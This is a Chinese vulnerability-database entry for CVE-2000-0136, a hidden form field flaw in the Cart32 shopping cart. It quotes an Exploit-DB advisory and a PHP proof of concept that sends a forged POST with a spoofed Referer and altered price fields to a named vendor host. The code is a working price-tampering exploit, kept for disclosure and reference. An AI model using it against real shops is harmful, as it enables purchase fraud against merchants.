Cart32购物车应用程序信息修改漏洞

Cart32购物车应用程序信息修改漏洞

漏洞ID 1105693 漏洞类型 未知
发布时间 2000-02-01 更新时间 2005-10-20
图片[1]-Cart32购物车应用程序信息修改漏洞-安全小百科CVE编号 CVE-2000-0136
图片[2]-Cart32购物车应用程序信息修改漏洞-安全小百科CNNVD-ID CNNVD-200002-019
漏洞平台 CGI CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/19951
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200002-019
|漏洞详情
Cart32购物车应用程序存在漏洞。远程用户借助隐藏表单域可以修改敏感采购信息。
|漏洞EXP
E-Commerce Exchange QuickCommerce 2.5/3.0,McMurtrey/Whitaker & Associates Cart32 2.5 a/3.0,Shop Express 1.0,StoreCreator 3.0 Web Shopping Cart Hidden Form Field Vulnerability

source: http://www.securityfocus.com/bid/1237/info*

Various shopping cart applications use hidden form fields within the html source code with preset parameters which contain product information. For example: price, weight, quantity, identification etc. If a remote user saves the web page of a particular item to their machine it is possible for them to edit the html source, consequently allowing them to alter the parameters of the product. The modified web page can then be submitted to the shopping cart application. It is also possible in some circumstances to exploit this vulnerability via any regular browser's address bar.

Some vendors have built in checks that require the post method or the check refer field, both these requirements can be defeated via custom built http requests.

<?php
/*

   Caution - long lines ahead.

   Cart32.phtml
   Bypass lame "security" options by providing our own referer
   and tainted data via POST.
   [email protected]

  PostToHost()
    Heavily modified version of Rasmus' PostToHost function
    It's generic enough to handle any method containing
    just about any data.

    $data: urlencoded QUERY_STRING format
    $cookie: urlencoded cookie string format (name=value;name=value).
*/

function PostToHost($host="",$port="80",$method="POST",$path="",$data="",$refer="",$client="",$cookie="")
{
    $fp = fsockopen($host,$port);
    if(!$fp) { echo "Failed to open port"; exit; }
    fputs($fp, "$method $path HTTP/1.0n");
    if($cookie != "") { fputs($fp, "Cookie: $cookien"); }
    if($refer  != "") { fputs($fp, "Referer: $refern"); }
    if($client != "") { fputs($fp, "User-Agent: $clientn"); }
    if($method == "POST")
    {
        fputs($fp, "Content-type: application/x-www-form-urlencodedn");
        fputs($fp, "Content-length: " . strlen($data) . "n");
    }
    fputs($fp, "Connection: closenn");
    if($method == "POST")
    {
        fputs($fp, "$datan");
    }
    $results = "";
    while(!feof($fp))
    {
        $results .= fgets($fp, 1024);
    }
    fclose($fp);
    return $results;
}

// Whee, now all we need to do is set up the data
$host = 'www.cart32.com';
$port = 80;
$method = "POST";
$path = '/cgi-bin/cart32.exe/justsocks-AddItem';
$refer = 'www.IGuessYouDontTakeYourOwnAdvice..com';
// And even if they did, we could set the Referer to match
// anything we wanted.

$client = 'CDI Spoof (v1.0)';
$cookie = "";

// Real price of this product was $6.99
$data = 'Price=1000.56&Item=Wigwam+Triathlete+Ultra-Lite&PartNo=F6092&Qty=5&p1=XL&t1=d-Size%3BS%3BM%3BL%3BXL&p2=Black&t2=d-Color%3BBlack%3BWhite';

// And now call the function

$raw = PostToHost($host,$port,$method,$path,$data,$refer,$client,$cookie);

print "<PRE>nn";
print " Host: $hostn Port: [$port]n Method: [$method]n Path: [$path]n";
print " Referer: [$refer]n Client: [$client]n Cookie: [$cookie]n";
print " Data: [$data]n";
print "</PRE>n";
print "<P>Results of operation:<BR><HR NOSHADE><P>n";
print "$rawn";
?>
|参考资料
VulnerablesoftwareandversionsConfiguration1OR*cpe:/a:mcmurtrey_whitaker_and_associates:cart32*DenotesVulnerableSoftware*ChangesrelatedtovulnerabilityconfigurationsTechnicalDetailsVulnerabilityType(ViewAll)CVEStandardVulnerabilityEntry:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0136

相关推荐: Microsoft Windows NT 4.0 PDC/BDC Synchonization Reused Keystream Vulnerability

Microsoft Windows NT 4.0 PDC/BDC Synchonization Reused Keystream Vulnerability 漏洞ID 1104139 漏洞类型 Design Error 发布时间 2000-06-05 更新时间…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享